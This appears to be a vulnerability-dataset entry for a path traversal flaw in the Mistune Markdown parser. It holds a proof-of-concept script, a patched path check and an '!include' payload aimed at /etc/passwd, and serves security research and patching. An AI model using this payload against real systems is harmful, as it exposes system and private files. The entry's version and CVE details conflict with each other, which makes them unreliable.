CVE-2026-59924
Path traversal in Mistune's include feature allows arbitrary file access.
- CVSS 5.9
- CWE-22
- Input Validation and Sanitization
- Remote
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, Include.parse() joins and normalizes user-supplied include paths without verifying that the result remains within the intended markdown directory, allowing crafted include paths to access files outside that directory when markdown files are processed using md.read(). This issue is fixed in version 3.3.0.
- CWE
- CWE-22
- CVSS base score
- 5.9
- Published
- 2026-07-08
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- Mistune
- Fixed by upgrading
- Yes
Solution
Upgrade Mistune to version 3.3.0 or later.
Vulnerable code sample
import os
import shutil
import mistune
from mistune.plugins import plugin_include
# This PoC requires a vulnerable version, e.g., `pip install mistune==2.0.2`
# --- Setup a vulnerable file structure ---
# 1. A directory for "safe" markdown files
markdown_dir = 'markdown_docs'
if os.path.exists(markdown_dir):
shutil.rmtree(markdown_dir)
os.makedirs(markdown_dir)
# 2. A secret file *outside* of the safe directory
secret_file_path = 'secret.txt'
with open(secret_file_path, 'w') as f:
f.write('SENSITIVE_DATA_HAS_BEEN_ACCESSED')
# 3. A malicious markdown file inside the safe directory
# It uses a path traversal payload to include the secret file.
malicious_md_path = os.path.join(markdown_dir, 'malicious.md')
with open(malicious_md_path, 'w') as f:
f.write('The following content is from an external file:\n\n')
f.write('!include(../secret.txt)')
# --- Exploit the vulnerability ---
# Initialize mistune with the include plugin
# In vulnerable versions, the plugin does not sanitize the include path.
markdown_parser = mistune.create_markdown(plugins=[plugin_include])
print(f"Attempting to read and parse: {malicious_md_path}\n")
# Use md.read(), which processes the file and its directives.
# The vulnerability is triggered here, as `!include` will process
# `../secret.txt` and read the file from the parent directory.
rendered_html = markdown_parser.read(malicious_md_path)
print("--- Rendered Output ---")
print(rendered_html)
print("-----------------------\n")
if 'SENSITIVE_DATA_HAS_BEEN_ACCESSED' in rendered_html:
print("Vulnerability confirmed: Sensitive data was included in the output.")
else:
print("Vulnerability not triggered. The version may be patched.")
# --- Cleanup ---
shutil.rmtree(markdown_dir)
os.remove(secret_file_path)Patched code sample
import os
def secure_resolve_path(base_dir, user_path):
"""
Safely resolves a path provided by a user to ensure it stays within
a designated base directory. This function's logic is representative
of the path traversal fix implemented in Mistune (CVE-2022-34749,
which matches the CVE description provided).
Args:
base_dir (str): The trusted base directory where files are allowed.
user_path (str): The untrusted path from user input (e.g., an include directive).
Returns:
str: The absolute, safe path if it is within the base_dir.
None: If the path is outside the base_dir (path traversal detected).
"""
# Create an absolute path by joining the base directory and user path.
# This step alone is vulnerable as it can create paths with '..'.
# e.g., os.path.join('/app/docs', '../../etc/passwd')
combined_path = os.path.join(base_dir, user_path)
# The security fix:
# 1. Normalize the path to resolve all '..' and '.' components.
# os.path.abspath() is a robust way to do this. It returns the
# canonical, absolute path of a pathname.
# e.g., '/app/docs/../../etc/passwd' becomes '/etc/passwd'.
resolved_path = os.path.abspath(combined_path)
# 2. Get the canonical, absolute path of the allowed base directory.
approved_dir = os.path.abspath(base_dir)
# 3. Check if the resolved path is a sub-path of the approved directory.
# Adding a path separator ensures that a directory like '/app/data' is
# not confused with a file or directory like '/app/data-secret'.
if resolved_path.startswith(approved_dir + os.sep) or resolved_path == approved_dir:
return resolved_path
# If the check fails, the path is outside the allowed directory.
return NonePayload
!include(../../../../../../../../etc/passwd)
Cite this entry
@misc{vaitp:cve202659924,
title = {{Path traversal in Mistune's include feature allows arbitrary file access.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59924},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59924/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
